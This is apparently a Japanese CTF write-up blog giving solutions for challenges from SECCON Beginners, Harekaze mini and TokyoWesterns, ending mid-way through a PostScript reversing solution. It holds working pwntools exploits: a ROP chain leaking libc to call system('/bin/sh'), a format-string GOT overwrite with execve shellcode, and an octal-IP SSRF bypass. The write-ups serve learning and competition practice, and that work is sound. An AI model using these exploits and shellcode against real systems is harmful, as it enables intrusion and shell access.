from pwn import * srv = 'beginners-rop.quals.beginners.seccon.jp' port = 4102 bin = ELF('./chall') libc = ELF('./libc-2.27.so') #conn = process(bin.path) # ''' #b *0x000215bf #continue #''') conn = remote(srv, port) payload = b'A' * 0x100 payload += b'B' * 8 """ $ readelf -S ./chall There are 31 section headers, starting at offset 0x3ab0: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align : [13] .plt PROGBITS 0000000000401020 00001020 0000000000000050 0000000000000010 AX 0 0 16 [14] .plt.sec PROGBITS 0000000000401070 00001070 0000000000000040 0000000000000010 AX 0 0 16 [15] .text PROGBITS 00000000004010b0 000010b0 00000000000001e5 0000000000000000 AX 0 0 16 : [23] .got PROGBITS 0000000000403ff0 00002ff0 0000000000000010 0000000000000008 WA 0 0 8 [24] .got.plt PROGBITS 0000000000404000 00003000 0000000000000038 0000000000000008 WA 0 0 8 [25] .data PROGBITS 0000000000404038 00003038 0000000000000010 0000000000000000 WA 0 0 8 [26] .bss NOBITS 0000000000404050 00003048 0000000000000020 0000000000000000 WA 0 0 16 """ addr_main = 0x401196 addr_puts_got = bin.got['puts'] # 0x404018 addr_puts_plt = bin.plt['puts'] # 0x401070 addr_gets_plt = bin.plt['gets'] addr_bss = 0x404050 # ROP gadget pop_rdi = 0x00401283 # $ nm -D libc-2.27.so |grep puts # 0000000000080aa0 W puts # ROPの中で # 1-1. putsを呼び、putsのアドレスを調べる # 1-2. system関数のアドレスを逆算 # 1-3. mainを再度呼ぶ # # 2-1. bssのアドレスをrdiにセットしてgetsを呼ぶ # 2-2. getsに対して'/bin/sh'を送信 # 2-3. bssの'/bin/sh'を利用してsystem関数呼び出し # 1st ROP # set got(puts) to rdi payload += p64(pop_rdi) payload += p64(addr_puts_got) # call puts(got(puts)) payload += p64(addr_puts_plt) # re-call main payload += p64(addr_main) conn.sendline(payload) conn.recvline() # garbage # get leaked puts got-address leaked_puts_got = conn.recvline().rstrip() if len(leaked_puts_got) < 8: leaked_puts_got += b'\x00' * (8 - len(leaked_puts_got)) print('puts GOT:', hex(u64(leaked_puts_got))) leaked_puts = u64(leaked_puts_got) # calculate libc's base address libc_base = leaked_puts - libc.symbols['puts'] addr_system = libc_base + libc.symbols['system'] # 2nd rop payload = b'A' * 0x100 payload += b'B' * 8 # set bss addr to rdi payload += p64(pop_rdi) payload += p64(addr_bss) # call gets(rdi); // scan '/bin/sh\0' from stdin payload += p64(addr_gets_plt) # set bss addr to rdi ('/bin/sh\0') payload += p64(pop_rdi) payload += p64(addr_bss) # call system(rdi) payload += p64(addr_system) conn.sendline(payload) c = conn.recvline() # garbage print(c) conn.sendline('/bin/sh') # getsへ'/bin/sh'を送る conn.interactive() ''' $ python3 solve.py [*] '/mnt/d/CTF/SECCON_Beginners_CTF_2021/pwn/beginners_rop/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/mnt/d/CTF/SECCON_Beginners_CTF_2021/pwn/beginners_rop/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done puts GOT: 0x7f91bbf8baa0 b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x83\x12@\n' [*] Switching to interactive mode $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{H4rd_ROP_c4f3}$ '''
Flag: ctf4b{H4rd_ROP_c4f3}
以上です!運営のみなさんお疲れさまでした!開催ありがとうございます!
※ヒープ問にヨワヨワなので、ヒープ問の復習しないと。
Harekaze mini CTF 2020 Write-up
2020/12/26 10:00 JST - 12/27 10:00 JST (24H) に開催されたCTFのWrite-upです。チーム名: whitecatsで出場して378pt. 全体51位でした。
Easy Flag Checker [rev]
このバイナリに文字列を与えると、フラグであるかどうかチェックしてくれます。 This binary checks if the input is the flag.
フラグチェック処理のGhidraでの逆コンパイル部分。param_1が入力文字列、param_2がfakeflag{this_is_not_the_real_flag}という文字列。
funcsは、インデックス0~2でそれぞれadd、sub、xorの処理をするだけの関数で、fakeflagとtableというデータを順番に処理している。tableの中身は、ソルバーに記載。
undefined8 check(long param_1,long param_2) { char cVar1; int index; index = 0; while( true ) { if (0x22 < index) { return 0; } cVar1 = (**(code **)(funcs + (long)(index % 3) * 8)) ((int)*(char *)(param_2 + index),(int)(char)table[index]); if (cVar1 < *(char *)(param_1 + index)) break; if (*(char *)(param_1 + index) < cVar1) { return 0xffffffff; } index = index + 1; } return 1; }
ソルバーは、fakeflagとtableのデータを順番に処理するだけ。xorしたデータだけprintableの範囲を超えるので、最終的に128で割った余りにしている。
# -*- coding: utf-8 funcs = ['\x96\x11\x40\x00\x00\x00\x00\x00', # return a + b '\xb4\x11\x40\x00\x00\x00\x00\x00', # return a - b '\xd4\x11\x40\x00\x00\x00\x00\x00'] # return a ^ b # -> 0: add, 1: sub(), 3: xor() def add(i, j): return ord(i) + ord(j) def sub(i, j): return ord(i) - ord(j) def xor(i, j): return ord(i) ^ ord(j) functions = [add, sub, xor] ''' table XREF[3]: Entry Point(*), check:0040124f(*), check:00401256(R) 00404060 e2 00 19 undefine 00 fb 0d 19 02 38 00404060 e2 undefined1E2h [0] XREF[3]: Entry Point(*), check:0040124f(*), check:00401256(R) 00404061 00 undefined100h [1] 00404062 19 undefined119h [2] 00404063 00 undefined100h [3] 00404064 fb undefined1FBh [4] 00404065 0d undefined10Dh [5] 00404066 19 undefined119h [6] 00404067 02 undefined102h [7] 00404068 38 undefined138h [8] 00404069 e0 undefined1E0h [9] 0040406a 22 undefined122h [10] 0040406b 12 undefined112h [11] 0040406c bd undefined1BDh [12] 0040406d ed undefined1EDh [13] 0040406e 1d undefined11Dh [14] 0040406f f5 undefined1F5h [15] 00404070 2f undefined12Fh [16] 00404071 0a undefined10Ah [17] 00404072 c1 undefined1C1h [18] 00404073 fc undefined1FCh [19] 00404074 00 undefined100h [20] 00404075 f2 undefined1F2h [21] 00404076 fc undefined1FCh [22] 00404077 51 undefined151h [23] 00404078 08 undefined108h [24] 00404079 13 undefined113h [25] 0040407a 06 undefined106h [26] 0040407b 07 undefined107h [27] 0040407c 39 undefined139h [28] 0040407d 3c undefined13Ch [29] 0040407e 05 undefined105h [30] 0040407f 39 undefined139h [31] 00404080 13 undefined113h [32] 00404081 ba undefined1BAh [33] 00404082 00 undefined100h [34] ''' table = '\xe2\x00\x19\x00\xfb\x0d\x19\x02' table += '\x38\xe0\x22\x12\xbd\xed\x1d\xf5' table += '\x2f\x0a\xc1\xfc\x00\xf2\xfc\x51' table += '\x08\x13\x06\x07\x39\x3c\x05\x39' table += '\x13\xba\x00' fake_flag = "fakeflag{this_is_not_the_real_flag}" i = 0 cVal = [] for i in range(len(fake_flag)): param0 = fake_flag[i] param1 = table[i] cVal += [functions[i % 3](param0, param1)] cVal = list(map(lambda x: x % 128, cVal)) print(''.join(map(chr, cVal))) ''' $ python3 solve.py HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!} '''
Flag: HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}
Wait [rev]
Please be patient. Brute-force attacks on the score server are prohibited.
実行すると、HINT: ^HarekazeCTF\{ID[A-Z]{4}X\}$ と出力される。求めるのは[A-Z]{4}の4文字分。実行ファイルは、フラグチェック前に3秒のsleepが実行されるので、その処理を潰して実行ファイルに対してブルートフォースするか、チェック処理のところを解析して外部で処理するかの2択ぐらい。
sleep実行処理は、いろいろとチェック処理が入っていて潰すのが面倒くさそうだったので、後者でソルバーを作成。フラグのチェック処理は、HarekazeCTF\{ID[A-Z]{4}X\}$とSALT\x00という文字列を結合した文字列のSHA1ハッシュが1fcce7ec44beb72c994e2cd69c462916ca8ec810になるかの確認だけ。(最初\x00部分が抜けていて、ちょっと気づくのに時間がかかった)
# -*- coding: utf-8 -*- from hashlib import sha1 from itertools import product def main(): # HINT: ^HarekazeCTF\{ID[A-Z]{4}X\}$ ''' debug 'HarekazeCTF{IDZZZZX}' 0x7fffffffe100: 0xe9 0xcc 0x8d 0x45 0xa1 0x44 0x28 0xee 0x7fffffffe108: 0xd2 0xa2 0x2a 0xa8 0x2b 0xfc 0x36 0x80 0x7fffffffe110: 0xa9 0x37 0xae 0x7d 0x0 0x0 0x0 0x0 ''' ''' local_78[0] = '\x1f'; local_78[1] = 0xcc; local_78[2] = 0xe7; local_78[3] = 0xec; local_78[4] = 0x44; local_78[5] = 0xbe; local_78[6] = 0xb7; local_78[7] = 0x2c; local_78[8] = 0x99; local_78[9] = 0x4e; local_78[10] = 0x2c; local_78[11] = 0xd6; local_78[12] = 0x9c; local_78[13] = 0x46; local_78[14] = 0x29; local_78[15] = 0x16; local_78[16] = 0xca; local_78[17] = 0x8e; local_78[18] = 0xc8; local_78[19] = 0x10; ''' correct_sha1 = [0x1f, 0xcc, 0xe7, 0xec, 0x44, 0xbe, 0xb7, 0x2c, 0x99, 0x4e, 0x2c, 0xd6, 0x9c, 0x46, 0x29, 0x16, 0xca, 0x8e, 0xc8, 0x10] correct_sha1_md = ''.join(map(lambda x: x[2:], map(hex, correct_sha1))) seed = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' cnt = 0 for s in product(seed, repeat=4): FLAG = 'HarekazeCTF{ID' + ''.join(s) + 'X}' FLAG += 'SALT\x00' flag_sha1 = sha1(FLAG.encode('utf-8')) flag_md = flag_sha1.hexdigest() print(cnt, FLAG, ':', flag_md, correct_sha1_md) cnt += 1 if flag_md == correct_sha1_md: print('!!!! GET FLAG !!!!') break if __name__ == '__main__': main() ''' $ python3 solve.py : 298850 HarekazeCTF{IDRACGX}SALT : c539a4d9c7352680001a03046ad37c697e609d1b 1fcce7ec44beb72c994e2cd69c462916ca8ec810 298851 HarekazeCTF{IDRACHX}SALT : 917aeeb01e576f5c66bd61f86c96e685b9895abf 1fcce7ec44beb72c994e2cd69c462916ca8ec810 298852 HarekazeCTF{IDRACIX}SALT : 1fcce7ec44beb72c994e2cd69c462916ca8ec810 1fcce7ec44beb72c994e2cd69c462916ca8ec810 !!!! GET FLAG !!!! '''
Flag: HarekazeCTF{IDRACIX}
以上です。
TokyoWesterns CTF 6th 2020 Write-up
2020/09/19 09:00 JST - 09/21 09:00 JST (48H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して469pt. 全体101位でした。warmupだけで終わった感。
- mask [misc]
- urlcheck v1 [web] [warmup]
- Reversing iS Amazing [reversing] [warmup]
- easy-hash [crypto] [warmup]
- nothing more to say 2020 [pwn] [warmup]
mask [misc]
192.168.55.86/255.255.255.0 192.168.80.198/255.255.255.128 192.168.1.228/255.255.255.128 192.168.90.68/255.255.254.0 192.168.8.214/255.255.255.128 192.168.5.197/255.255.255.128 192.168.71.90/255.255.255.0 192.168.62.55/255.255.255.192 192.168.78.209/255.255.255.128 192.168.76.216/255.255.255.128 192.168.91.202/255.255.255.128 192.168.93.108/255.255.255.0 192.168.74.76/255.255.254.0 192.168.10.88/255.255.254.0 192.168.82.236/255.255.255.128 192.168.13.246/255.255.255.128 192.168.99.228/255.255.255.128 192.168.68.83/255.255.252.0 192.168.23.113/255.255.255.192 192.168.52.113/255.255.255.192 192.168.69.99/255.255.255.0 192.168.19.114/255.255.255.192 192.168.53.236/255.255.255.128 192.168.90.117/255.255.254.0 192.168.35.90/255.255.255.0 192.168.91.121/255.255.255.0 192.168.48.49/255.255.255.192 192.168.27.104/255.255.255.0 192.168.98.204/255.255.255.128 192.168.93.87/255.255.255.0 192.168.44.113/255.255.255.192 192.168.40.104/255.255.248.0 192.168.25.227/255.255.255.128 192.168.57.50/255.255.255.192 192.168.97.115/255.255.255.0 192.168.30.47/255.255.255.192 192.168.10.102/255.255.254.0 192.168.51.209/255.255.255.128 192.168.82.125/255.255.255.192 192.168.72.125/255.255.255.192
ネットマスク付きのIPv4アドレスの一覧が問題文として与えられた。たぶんホスト部がASCII範囲になるだろうと抜き出して繋げたらBase64文字列ぽくなったので、デコードしたらフラグがでてきた。
# -*- coding: utf-8 -*- import base64 text = '''192.168.55.86/255.255.255.0 192.168.80.198/255.255.255.128 192.168.1.228/255.255.255.128 192.168.90.68/255.255.254.0 192.168.8.214/255.255.255.128 192.168.5.197/255.255.255.128 192.168.71.90/255.255.255.0 192.168.62.55/255.255.255.192 192.168.78.209/255.255.255.128 192.168.76.216/255.255.255.128 192.168.91.202/255.255.255.128 192.168.93.108/255.255.255.0 192.168.74.76/255.255.254.0 192.168.10.88/255.255.254.0 192.168.82.236/255.255.255.128 192.168.13.246/255.255.255.128 192.168.99.228/255.255.255.128 192.168.68.83/255.255.252.0 192.168.23.113/255.255.255.192 192.168.52.113/255.255.255.192 192.168.69.99/255.255.255.0 192.168.19.114/255.255.255.192 192.168.53.236/255.255.255.128 192.168.90.117/255.255.254.0 192.168.35.90/255.255.255.0 192.168.91.121/255.255.255.0 192.168.48.49/255.255.255.192 192.168.27.104/255.255.255.0 192.168.98.204/255.255.255.128 192.168.93.87/255.255.255.0 192.168.44.113/255.255.255.192 192.168.40.104/255.255.248.0 192.168.25.227/255.255.255.128 192.168.57.50/255.255.255.192 192.168.97.115/255.255.255.0 192.168.30.47/255.255.255.192 192.168.10.102/255.255.254.0 192.168.51.209/255.255.255.128 192.168.82.125/255.255.255.192 192.168.72.125/255.255.255.192 ''' mask = text.split() ans = '' for m in mask: ip, netmask = m.split('/') print(ip, netmask) ip = ip.split('.') nm = netmask.split('.') # ホスト部を繋いで、4byteの整数値に変換 t = 0 for i in range(4): tmp = int(ip[i]) & ~(int(nm[i])) t += tmp << ((3 - i) * 8) print(t, chr(t)) ans += chr(t) print(ans) print(base64.b64decode(ans)) ''' VFdDVEZ7QXJlLXlvdS11c2luZy1hLW1hc2s/fQ== b'TWCTF{Are-you-using-a-mask?}' '''
Flag: TWCTF{Are-you-using-a-mask?}
urlcheck v1 [web] [warmup]
find the flag
http://urlcheck1.chal.ctf.westerns.tokyo/ urlcheck1.tar
SSRF問題。/check-statusに送信するURLをチェックを、そのコンテンツを返してくれる。IPv4アドレスがローカルアドレス(127.0.0.1)だとadmin-statusにアクセスしてフラグが表示される。チェック関連の処理を抜き出すと以下の処理が関係する。
app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z') def valid_ip(ip): matches = app.re_ip.match(ip) if matches == None: return False ip = list(map(int, matches.groups())) if any(i > 255 for i in ip) == True: return False # Stay out of my private! if ip[0] in [0, 10, 127] \ or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \ or (ip[0] == 169 and ip[1] == 254) \ or (ip[0] == 192 and ip[1] == 168): return False return True @app.route('/admin-status') def admin_status(): if flask.request.remote_addr != '127.0.0.1': return '🥺' return app.flag @app.route('/check-status') def check_status(): url = flask.request.args.get('url', '') if valid_ip(urlparse(url).netloc) == False: return '🥺' return get(url)
正規表現でのIPv4アドレス形式チェックと10進数でのローカルIPv4アドレスのチェック処理がある。URLは8進数やらなんやらIPv4アドレスの扱いが寛大だったと思うので、8進数で先頭の127を置き替えたらいけた。
チェックしてもらったURLはhttp://0177.0.0.1/admin-status
Flag: TWCTF{4r3_y0u_r34dy?n3x7_57463_15_r34l_55rf!}
Reversing iS Amazing [reversing] [warmup]
opensslを利用したRSAの暗号化処理をしている。コマンドラインの引数で文字列を渡すと、秘密鍵での暗号化後、フラグ文字列の暗号文と一致するかどうかの確認をされる。

秘密鍵は0xE11~0xE2Aのrep movsq処理で.rodataセクションからコピーされているので、そこから抜き出す。
# -*- coding: utf-8 -*- from pwn import * elf = ELF('./rsa') start_idx = 0xa91 - 0x960 end_idx = 0xe11 - 0x960 text = elf.section('.text')[start_idx:end_idx] text = [text[i] for i in range(6, len(text), 7)] enc_flag = b''.join(map(lambda x: x.to_bytes(1, 'little'), text)) print(enc_flag) print(len(enc_flag)) start_idx = 0x1100 - 0x010a0 seed = elf.section('.rodata')[start_idx:start_idx+(0x4c*8)] print(seed) print(len(seed)) with open('seed.dat', 'wb', buffering=0) as prv_file: prv_file.write(seed) with open('encrypted_flag', 'wb', buffering=0) as prv_file: prv_file.write(enc_flag)
あとは抜き出したデータを利用して復号処理を書く。rsaのバイナリでは、opensslの以下の関数を利用していたので、最後のRSA_private_encryptをRSA_public_decryptにしたらうまく復号できた。
#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <openssl/bio.h> #include <openssl/evp.h> #include <openssl/err.h> #include <openssl/rsa.h> #include <openssl/engine.h> int main(int argc, void *argv[]) { char buf[1024] = {0}; char buf_eflag[1024] = {0}; char err_buf[256]; int fd; int rc; int seed_len, eflag_len; fd = open("seed.dat", O_RDONLY); if (fd == -1) { puts("Error: can not open file."); return -1; } rc = read(fd, buf, 0x260); printf("rc: %d\n", rc); seed_len = rc; close(fd); fd = open("encrypted_flag", O_RDONLY); if (fd == -1) { puts("Error: can not open file."); return -1; } rc = read(fd, buf_eflag, 128); printf("rc: %d\n", rc); eflag_len = rc; close(fd); // RSA BIO *bio; bio = BIO_new_mem_buf(buf, seed_len); if (!bio) { puts("Error: bio error."); return -1; } EVP_PKEY *pkey = NULL; EVP_PKEY *ptr; ptr = d2i_PrivateKey_bio(bio, &pkey); if (ptr == NULL) { printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf)); return -1; } RSA *rsa; rsa = EVP_PKEY_get1_RSA(pkey); if (rsa == NULL) { printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf)); return -1; } FILE *fp; fp = fopen("tmp_rsa.dat", "wb"); RSA_print_fp(fp, rsa, 0); fclose(fp); char buf_dflag[1024] = {0}; RSA_public_decrypt(128, buf_eflag, buf_dflag, rsa, 1); printf("%s\n", buf_dflag); return 0; }
実行結果
$ gcc -o solve solve.c -lssl -lcrypto
$ ./solve
rc: 608
rc: 128
TWCTF{Rivest_Shamir_Adleman}
flag: TWCTF{Rivest_Shamir_Adleman}
easy-hash [crypto] [warmup]
ソースコード: easy_hash.7z
ウェブサーバー: https://crypto01.chal.ctf.westerns.tokyo
初心者の方へ: ウェブサーバーとは curl コマンドを利用して通信することができます。
(例) $ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: hello 2020'
2文字入れ替えてもハッシュが変わらないので、先頭のplを入れ替えていけた
$ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: lpease give me the flag of 2020'
Congrats! The flag is TWCTF{colorfully_decorated_dream}
flag: TWCTF{colorfully_decorated_dream}
nothing more to say 2020 [pwn] [warmup]
4連休楽しんでください!
nothing
nothing.c
nc pwn02.chal.ctf.westerns.tokyo 18247
nothing.cのソースコード。printfで表示される通り、Format String Bugがある。
// gcc -fno-stack-protector -no-pie -z execstack #include <stdio.h> #include <stdlib.h> #include <unistd.h> void init_proc() { setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); } void read_string(char* buf, size_t length) { ssize_t n; n = read(STDIN_FILENO, buf, length); if (n == -1) exit(1); buf[n] = '\0'; } int main(void) { char buf[0x100]; init_proc(); printf("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nDo you know about Format String Attack(FSA) and write the exploit code?\nPlease pwn me!\n"); while (1) { printf("> "); read_string(buf, 0x100); if (buf[0] == 'q') break; printf(buf); } return 0; }
セキュリティ機構は特になし。NXも無効なのでprintfのGOTを上書きして、スタックに入れたshellcodeを実行しsystem関数で/bin/shを呼ぶようにした。
ソルバーは、以下の流れで処理。
%$41$pをprintfで表示させ、stack上にあるargv[0]のアドレスを特定。逆算してbufの先頭アドレスをゲット- bufにshellcode + format string attackの文字列を格納。stackのアドレスに0x00があるので、format string attackの文字列 + 8byte調整のpadding + stackのアドレスという形にした
- 次の
printf(">");されたときにstack上のshellcodeが実行されて、/bin/sh起動 - あとはlsして、cat flag.txtでフラグゲット
# -*- coding: utf-8 -*- from pwn import * import time def send_payload(conn, payload=b'', delim=b'>'): print('send:', payload) conn.send(payload + b'\r\n') data = conn.recvuntil(delim) print(data) return data[:-1] srv = 'pwn02.chal.ctf.westerns.tokyo' #srv = 'localhost' port = 18247 elf = ELF('./nothing') print(elf.got) got_printf = elf.got[b'printf'] print('got.printf', hex(got_printf)) conn = remote(srv, port) data = conn.recvuntil(b'>') print(data) # %6$p -> buf # $39$p -> __libc_start_main + 0xe7 # $41$p -> argv # $66$p -> *argv payload = b'%41$p' data = send_payload(conn, payload).split() print(data) argv0_addr = int(data[0], 16) buf_addr = argv0_addr - 0x1e8 # stackのargv[0]位置からbufの先頭アドレスを逆算 print('buf_addr', hex(buf_addr)) shellcode = b'\x31\xD2\x52\x48' shellcode += b'\xb8\x2f\x62\x69\x6e\x2f\x2f\x73' shellcode += b'\x68\x50\x48\x89\xe7\x52\x57\x48' shellcode += b'\x89\xe6\x48\x8d\x42\x3b\x0f\x05' print('buf addr', hex(buf_addr)) print(hex(int(buf_addr & 0xffffffff00000000))) print(hex(int(buf_addr & 0xffffffff))) buf_addr_high = (buf_addr & 0xffffffff00000000) >> 32 buf_addr_low0 = (buf_addr & 0xffff0000) >> 16 buf_addr_low1 = buf_addr & 0xffff idx_buf = 6 idx_high = 16 idx_low0 = 17 idx_low1 = 18 # create fsb code fsb_high = '%{}x%{}$n'.format(buf_addr_high - len(shellcode), idx_high) write_byte = buf_addr_high write_byte = (0x10000 + buf_addr_low0) - write_byte fsb_low0 = '%{}x%{}$hn'.format(write_byte, idx_low0) write_byte = 0x10000 + buf_addr_low0 write_byte = (0x20000 + buf_addr_low1) - write_byte fsb_low1 = '%{}x%{}$hn'.format(write_byte, idx_low1) code_len = len(shellcode) + len(fsb_high + fsb_low0 + fsb_low1) padding = '.' * ((idx_high - idx_buf) * 8 - code_len) code = fsb_high + fsb_low0 + fsb_low1 + padding code = shellcode + code.encode('utf-8') # send shellcode target_addr = got_printf print('send:', code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr)) conn.sendline(code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr)) conn.interactive() conn.close()
うーん汚い。もっとシンプルに書きたいので、他のWriteupを見て勉強しよ。
以上です。
SECCON Beginers CTF 2020 write-up
2020/05/23 14:00 - 05/24 14:00 (24H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して2136pt. 全体39位でした。
MISC
Welcome (50pt)
Welcome to SECCON Beginners CTF 2020! フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。
Rulesに書いてあるDiscordのサーバーに参加したら、フラグの投稿があった。
Flag: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
emoemoencode (53pt)
Do you know emo-emo-encode?
テキストの中身は絵文字がひたすら並んでかいてあるだけ。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
とりあえず文字コードを眺めて、先頭からフラグ形式のctf4b{になるようにそれぞれの文字の4バイト目を計算してみる。
$ hexdump -C emoemoencode.txt 00000000 f0 9f 8d a3 f0 9f 8d b4 f0 9f 8d a6 f0 9f 8c b4 |................| 00000010 f0 9f 8d a2 f0 9f 8d bb f0 9f 8d b3 f0 9f 8d b4 |................| 00000020 f0 9f 8d a5 f0 9f 8d a7 f0 9f 8d a1 f0 9f 8d ae |................| 00000030 f0 9f 8c b0 f0 9f 8d a7 f0 9f 8d b2 f0 9f 8d a1 |................| 00000040 f0 9f 8d b0 f0 9f 8d a8 f0 9f 8d b9 f0 9f 8d 9f |................| 00000050 f0 9f 8d a2 f0 9f 8d b9 f0 9f 8d 9f f0 9f 8d a5 |................| 00000060 f0 9f 8d ad f0 9f 8c b0 f0 9f 8c b0 f0 9f 8c b0 |................| 00000070 f0 9f 8c b0 f0 9f 8c b0 f0 9f 8c b0 f0 9f 8d aa |................| 00000080 f0 9f 8d a9 f0 9f 8d bd 0a |.........| 00000089
3バイト目が0x8Cなら4バイト目を-0x80、0x8Dなら-0x40することで、デコードできた。
def main(): with open('emoemoencode.txt', 'rb') as f: data = f.read().splitlines()[0] ans = '' for idx in range(0, len(data), 4): if data[idx+2] == 0x8D: ans += chr(data[idx+3] - 0x40) elif data[idx+2] == 0x8C: ans += chr(data[idx+3] - 0x80) print('FLAG:', ans) main()
FLAG: ctf4b{stegan0graphy_by_em000000ji}
Crypto
R&B (52pt)
Do you like rhythm and blues?
ファイルの中身は、エンコードしたプログラムとエンコード結果。
from os import getenv FLAG = getenv("FLAG") FORMAT = getenv("FORMAT") def rot13(s): # snipped def base64(s): # snipped for t in FORMAT: if t == "R": FLAG = "R" + rot13(FLAG) if t == "B": FLAG = "B" + base64(FLAG) print(FLAG)
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
文字列の先頭がBなら以降の文字列はBase64エンコード、RならRot13されているだけ。
import base64 import codecs def main(): with open('encoded_flag', 'r') as f: encoded_FLAG = f.readline() print('encoded:', encoded_FLAG) FLAG = encoded_FLAG while True: t = FLAG if t[0] == 'B': # decode base64 FLAG = base64.b64decode(t[1:]).decode('utf-8') elif t[0] == 'R': # rot13 rev FLAG = codecs.decode(t[1:], 'rot13') else: print(FLAG) break main()
FLAG: ctf4b{rot_base_rot_base_rot_base_base}
Reversing
mask (62pt)
The price of mask goes down. So does the point (it's easy)!
(SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56)
ファイルはELFファイルで、コマンド引数にフラグを指定し、正しいとCorrect!と表示される。
Usage: ./mask [FLAG]
IDAで眺めてみると、指定したFLAG文字列を0x75でAND演算した文字列、0xEBでAND演算した文字列がそれぞれ規定の結果になるかどうかで正しいFLAGか判断している。

- FLAG文字列の各文字 AND 0x75 →
atd4`qdedtUpetepqeUdaaeUeaqau - FLAG文字列の各文字 AND 0xEB →
c`b bk`kj`KbababcaKbacaKiacki
0x75 OR 0xEB -> 0xFFなので、それぞれ1文字ずつOR演算していけば、元のデータに復元できる。
# -*- coding: utf-8 -*- s = 'atd4`qdedtUpetepqeUdaaeUeaqau' s1 = 'c`b bk`kj`KbababcaKbacaKiacki' ans = '' for i,j in zip(s, s1): ans += chr(ord(i) | ord(j)) print(ans) # 'ctf4b{dont_reverse_face_mask}'
FLAG: ctf4b{dont_reverse_face_mask}
yakisoba (156pt)
Would you like to have a yakisoba code?
(Hint: You'd better automate your analysis)
準入力からの文字列を比較するプログラム。比較処理がごちゃごちゃしてるので、久しぶりにangrを使ってみる。

ソルバー
# -*- coding: utf-8 -*- import angr import claripy def main(): key_len = 31 pj = angr.Project('./yakisoba') input = claripy.BVS('input', 8*key_len) init_state = pj.factory.entry_state(args=['./yakisoba']) for b in input.chop(key_len): init_state.add_constraints(b != 0) sm = pj.factory.simgr(init_state) # main sm.explore(find=0x4006D2, avoid=[0x4006F7]) for f in sm.found: print(f.posix.dumps(0)) print(f.posix.dumps(1)) if __name__ == '__main__': main() ''' $ python3 solve.py WARNING | 2020-05-23 19:47:08,499 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\x00\x00\x00\x00' b'FLAG: ' '''
FLAG: ctf4b{sp4gh3tt1_r1pp3r1n0}
ghost (279pt)
A program written by a ghost 👻
ファイルの中身は、.gs拡張子のスクリプトっぽいファイルと、それの出力っぽいoutput.txtというファイル
chall.gs
/flag 64 string def
/output 8 string def
(%stdin) (r) file flag readline not { (I/O Error\n) print quit }
if 0 1 2 index length {
1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch
} repeat (\n) print quit
output.txt
3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094
スクリプトの正体はなにかなぁと調査。問題文のwritten by ghostを参考にGhostscript関連かなとあたりをつけて、Postscriptの文法ぽいとわかった。
このあたりを参考に読み解き。
- PostScript Language Reference Manual SECOND EDITION, Adobe System Inc.
- PostScript基礎文法最速マスター・daily dayflower
pythonに直すとこんな感じっぽい。
# -*- coding: utf-8 -*- flag = '' output = '' flag = input('') if not flag: print('I/O Error') mul = 1 for idx in range(len(flag)): get_ord = ord(flag[i]) tmp = get_ord ^ (idx + 1) tmp = tmp * mul s = 1 for j in range(463): s *= tmp s %= 64711 print(s) # output s %= 128 mul = s + 1
